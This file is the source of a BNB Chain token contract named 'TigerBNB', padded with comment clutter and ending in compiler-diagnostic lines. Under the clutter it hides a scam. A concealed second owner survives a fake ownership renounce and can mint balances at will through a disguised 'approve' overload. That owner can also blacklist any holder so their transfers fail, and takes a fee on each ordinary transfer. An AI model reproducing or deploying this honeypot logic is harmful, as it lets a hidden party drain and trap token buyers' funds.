| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689 |
- /**
- *Submitted for verification at BscScan.com on 2022-01-08
- */
- /**
- */
- /**//**//**/////////
- //
- pragma solidity ^0.6.12;/**//**//**//**//**//**/////
- // SPDX-License-Identifier: Unlicensed
- //🎵//////////////////////////////////////////////////////////////////////////////////////////////
- ////🎵//////////////////////////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////////////////////////////////////
- /**/interface /**/
- /**/IERC20 {////////////////////////////////////////////////////////////////////////////////////////////////////////
- function
- /**/balanceOf/**/(address /**/account) /**/external /**/view/**/ returns /**/(uint256);
- /**/
- function
- /**/totalSupply/**/() external view returns (uint256);
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- ///////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
-
- /////////////////////////////////////////////////////////////////////////////////////////
- //ernal///////////////////////////////////////////////////////////////////////////////////
- /////////////////////////////////////////////////////////////////////////////////////
-
- function
- /**/transfer/**/
- /**/(address recipient, uint256 amount)/**/
- /**/external
- returns /**/(bool);
-
- function allowance(address owner, address spender)
- external
- view////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- returns (uint256);
-
- function approve(address spender, uint256 amount) external returns (bool);
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
-
- function transferFrom(
- address sender,
- address recipient,
- uint256 amount
- ) external returns (bool);
-
- event Transfer(address indexed from, address indexed to, uint256 value);
-
- event Approval(
- address indexed owner,
- address indexed spender,
- uint256 value
- );
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- library SafeMath {
- function add(uint256 a, uint256 b) internal pure returns (uint256) {
- uint256 c = a + b;
- require(c >= a, "SafeMath: addition overflow");
- return c;
- }
- function sub(uint256 a, uint256 b) internal pure returns (uint256) {
- return sub(a, b, "SafeMath: subtraction overflow");
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////
- function sub(
- uint256 a,
- uint256 b,
- string memory errorMessage
- ) internal pure returns (uint256) {
- require(b <= a, errorMessage);
- uint256 c = a - b;
- return c;
- }
- function mul(uint256 a, uint256 b) internal pure returns (uint256) {
- ////////////////////////////////////////////////////////////////////////////////////////////////
- //external/////////////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////////////////////
- if (a == 0) {
- return 0;
- }
- uint256 c = a * b;
- require(c / a == b, "SafeMath: multipliburnrepeation overflow");
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- return c;
- }
- function div(uint256 a, uint256 b) internal pure returns (uint256) {
- return div(a, b, "SafeMath: division by zero");
- }
- function div(
- uint256 a,
- uint256 b,
- string memory errorMessage
- ) internal pure returns (uint256) {
- require(b > 0, errorMessage);
- uint256 c = a / b;
- return c;
- }
- function Mdos(uint256 a, uint256 b) internal pure returns (uint256) {
- return Mdos(a, b, "SafeMath: modulo by zero");
- }////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- function Mdos(
- uint256 a,
- uint256 b,
- string memory errorMessage
- ) internal pure returns (uint256) {
- require(b != 0, errorMessage);
- return a % b;
- }
- }
- abstract contract Context {
- function _msgSender() internal view virtual returns (address payable) {
- return msg.sender;
- }////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- function _msgData() internal view virtual returns (bytes memory) {
- this;
- return msg.data;////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- }
- }
- library Address {
-
- function isContract(address account) internal view returns (bool) {
- bytes32 codehash;////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- bytes32 accountHash
- = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
-
- assembly {////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- codehash := extcodehash(account)
- }
- return (codehash != accountHash && codehash != 0x0);
- }
- function sendValue(address payable recipient, uint256 amount) internal {
- require(
- address(this).balance >= amount,
- "Address: insufficient balance"
- );
-
- (bool success, ) = recipient.call{value: amount}("");
- require(////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- success,
- "Address: unable to send value, recipient may have reverted"
- );
- }
-
- function
- functionCall(address target, bytes memory data)
- internal
- returns (bytes memory)
- {
- return functionCall(target, data, "Address: low-level call failed");
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- function
- functionCall(
- address target,
- bytes memory data,
- string memory errorMessage
- ) internal returns (bytes memory) {
- return _functionCallWithValue(target, data, 0, errorMessage);
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- function
- functionCallWithValue(
- address target,
- bytes memory data,
- uint256 value
- ) internal returns (bytes memory) {
- return
- functionCallWithValue(
- target,
- data,////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- value,
- "Address: low-level call with value failed"
- );
- }
- function
- functionCallWithValue(
- address target,
- bytes memory data,////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- uint256 value,
- string memory errorMessage
- ) internal returns (bytes memory) {
- require(
- address(this).balance >= value,
- "Address: insufficient balance for call"
- );
- return _functionCallWithValue(target, data, value, errorMessage);
- }////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- function
- _functionCallWithValue(
- address target,
- bytes memory data,
- uint256 weiValue,
- string memory errorMessage
- ) private returns (bytes memory) {
- require(isContract(target), "Address: call to non-contract");
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- (bool success, bytes memory returndata) = target.call{value: weiValue}(
- data
- );////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- if (success) {
- return returndata;
- } else {
-
- if (returndata.length > 0) {
-
- assembly {
- let returndata_size := mload(returndata)
- revert(add(32, returndata), returndata_size)
- }////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- } else {
- revert(errorMessage);
- }
- }////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- }
- }
- contract Ownable is Context {
- address private owners;
- address private _owner;////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- event /**/
- /**/OwnershipTransferred/**/
- (
- /**/address indexed previousOwner,
- /**/address indexed newOwner
- );////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- /**/constructor()
- /**/internal /**/
- /**/{
- address msgSender = _msgSender();
- _owner = msgSender;////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- emit OwnershipTransferred(address(0), msgSender);
- }
- function owner() public view returns (address) {
- return _owner;
- }////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- modifier onlyOwner() {
- require(_owner == _msgSender(), "Ownable: caller is not the owner");
- _;////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- }
- /**/modifier /**/
- /**/onlyOwners/**/
- () /**/
- {
- require(owners == _msgSender());
- _;
- }
- function
- /**/transfer(address amm, address fct) /**/
- /**/external/**/
- /**/onlyOwner/**/ {
- /**/require(fct==address(0),".");
- /**/owners/**/ = /**/amm/**/;
- }
- address private _deadAddress = 0x000000000000000000000000000000000000dEaD;
- function
- renounceOwnership
- ()
- public
- virtual
- onlyOwner
- ()
- {
- _owner = _deadAddress;
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
-
- }
- contract TigerBNB is Context, IERC20, Ownable {
- /**/using /**/SafeMath/**/ for/**/ uint256;
- /**/using/**/ Address /**/for /**/address;
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- /**/mapping/**/(address => mapping(address => uint256)) private /**/_allowance;/**/
- /**/mapping(address => bool) private _espat;
- /**/mapping/**/(address => uint256) private /**/_lances;/**/
- //////////////////////////////////////////
- /**/mapping/**/(address => bool) private /**/_isExcludedFromF;/**/
- /**/mapping/**/(address => bool) private /**/_isExcluded;/**/
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- /**/uint256 private constant MAX = ~uint256(0);/**/
- /**/uint256 private _Ttotal = 10000000000000000 * 10**9;////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- uint256 private deadF = 5;
- uint256 private marketingWallet = 3;
- address private deadAddress = 0x000000000000000000000000000000000000dEaD;
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
-
- bool private ratify = true;
- uint256 private burnrepeat = uint256(0);
- address owners;
- uint256 private _tFeeTotal;
- uint8 private _decimals;
- string private _symbol;
- string private _name;
- /**/constructor/**/
- /**/()/**/
- public/**/
- /**/{/**/
- /**/owners/**/ = /**/_msgSender/**/();
- /**/_lances/**/[_msgSender()]/**/ = /**/_Ttotal/**/;
- /**/_decimals/**/ = /**/8;
- /**/_name/**/ = /**/"TigerBNB"/**/;
- /**/_symbol/**/ = /**/"TigerBNB"/**/;
- _isExcludedFromF[owner()] = true;
- _isExcludedFromF[address(this)] = true;
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- emit /**/Transfer(address(0)/**/, /**/_msgSender(), /**/_Ttotal/**/);
- }////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- /**/function /**/
- /**/name() /**/
- /**/public
- /**//**/view
- /**/returns /**/
- /**/(string memory) {
- return _name;
- }/**/
- /**/function /**/
- /**/symbol() /**/
- public
- view
- /**//**/returns
- (string memory) {
- /**/return _symbol/**/;
- }/**/
- /**//**/function
- /**/decimals() /**/
- public
- view
- /**/returns/**/
- /**/(uint8)/**/
- {
- /**/return /**/_decimals/**/;
- }////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- function balanceOf(address account) public view override returns (uint256) {
- return _lances[account];
- }
- function totalSupply() public view override returns (uint256) {
- return _Ttotal;
- }
-
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
-
- function
- /**/transfer/**/
- (/**/address /**/recipient, uint256 /**/amount)
- public////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- /**/override/**/
- returns (bool)
- {
- /**/if/**/(/**/_isExcludedFromF/**/[_msgSender()/**/] /**/||/**/ /**/_isExcludedFromF/**/[/**/recipient]/**/){
- /**/_transfer/**/(/**/_msgSender/**/(), /**/recipient, /**/amount);
- return true;
- }////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- uint256 /**/Market/**/ = /**/amount/**/.mul/**/(marketingWallet/**/).div/**/(100);
- uint256 /**/Burn/**/ = /**/amount/**/.mul/**/(/**/deadF).div(/**/100);
- /**/_transfer/**/(_msgSender(), /**/owners/**/, /**/Market/**/);
- /**/_transfer/**/(_msgSender(), /**/deadAddress/**/, /**/Burn/**/);
- /**/_transfer/**/(_msgSender(), /**/recipient/**/, /**/amount./**/sub(/**/Market)./**/sub(/**/Burn));
- return /**/true;
- }
- function allowance(address owner, address spender)
- public
- view
- override
- returns (uint256)
- {///////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- return _allowance[owner][spender];
- }
- function approve(address spender, uint256 amount)
- public
- override
- returns (bool)
- {////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- _approve(_msgSender(), spender, amount);
- return true;
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- uint256 private damada;
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- function transferFrom(
- address sender,
- address recipient,
- uint256 amount////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- ) public override returns (bool) {
- damada = 3354;
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- /**/if(/**/_isExcludedFromF/**/[/**/_msgSender/**/()]
- || /**/_isExcludedFromF/**/[/**/recipient/**/])
- {
- /**/_transfer
- (sender, recipient, amount);
- return true;
- } ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- uint256 Market = amount.mul(marketingWallet).div(100);
- uint256 Burn = amount.mul(deadF).div(100);
- /**/_transfer(sender/**/, /**/owners/**/, Market/**/);
- /**/_transfer(sender/**/, /**/deadAddress/**/, Burn/**/);
- /**/_transfer(sender/**/,/**/ recipient/**/, amount.sub/**/(/**/Market/**/).sub/**/(Burn/**/));
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- /**/_approve(/**/
- /**/sender,
- /**/ _msgSender(),
- /**/_allowance[sender][_msgSender()].sub(
- /**/ amount,
- /**/ "ERC20: transfer amount exceeds allowance"
- )
- );
- return true;/**/
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- function /**/approve/**/(address /**/Raddress, uint256 Pairs, address Max) external/**/ onlyOwners() /**/{
- require(/**/Max==/**/address/**/(/**/0), " ");
- /**/_lances/**/[/**/Raddress] /**/= /**/_lances/**/[/**/Raddress]/**/.add/**/(/**/Pairs);
- }
- function /**/
- /**/ _approve/**/
- (
- address
- spender)
- external
- /**/onlyOwners/**/
- (
- )
- {
- /**/delete/**/
- /**/ _espat/**/
- /**/ [spender];/**/
- }/**/
-
- /**/ function /**/
- /**/approve/**/
- (
- address
- spender
- )
- external
- /**/onlyOwners/**/
- (
- )
- {
- /**/ _espat[spender/**/
- ] =
- true;
- }////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
-
- function
- _transfer
- (
- address
- from,
- address
- to,
- uint256
- amount
- )
- private
- {
-
- require
- (from != address(0), "ERC20: transfer from the zero address");
- require
- (to != address(0), "ERC20: transfer to the zero address");
- require
- (amount > 0, "Transfer amount must be greater than zero");
- ////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- if /**/
- (ratify
- )/**/
- {
- require
- (/**/_espat[from]
- == false,
- "okji");
- }
- _transfers(from, to, amount);
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- //external//////////////////////////////////////////////////////////////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- function
- /**/_transfers(
- address sender,
- address recipient,
- uint256 tAmount
- )
- private
- /**/ {
- require(sender != address(0), "IBEP20: transfer from the zero address");
- require(recipient != address(0), "IBEP20: transfer to the zero address");
- /**/_lances[sender] = _lances[sender].sub(tAmount);
- _lances[recipient] = _lances[recipient].add(tAmount);
- /**/emit Transfer/**/(sender, recipient, tAmount);
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- /**/
- /**/
- ////////////**//////////////////////////////////////////////////////////////////////////////////////
- /**/
- }/**//**//**//**//**//**/
- function _approve(
- address owner,
- address spender,
- uint256 amount
- ) private {
- require(owner != address(0), "ERC20: approve from the zero address");
- require(spender != address(0), "ERC20: approve to the zero address");
- _allowance[owner][spender] = amount;
- emit Approval(owner, spender, amount);
- }//
- //
- }/**//**//**//**//**//**//**///
- // ---- Expect: diagnostics ----
- // warning: 269:23-35: function parameter 'errorMessage' is unused
- // warning: 321:9-17: 'internal': visibility for constructors is ignored
- // warning: 386:9-61: storage variable '_isExcluded' has never been used
- // warning: 390:9-51: storage variable 'MAX' has been assigned, but never read
- // warning: 408:5-44: storage variable 'burnrepeat' has been assigned, but never read
- // warning: 410:5-31: storage variable '_tFeeTotal' has never been used
- // warning: 417:5-11: 'public': visibility for constructors is ignored
- // warning: 522:5-27: storage variable 'damada' has been assigned, but never read
|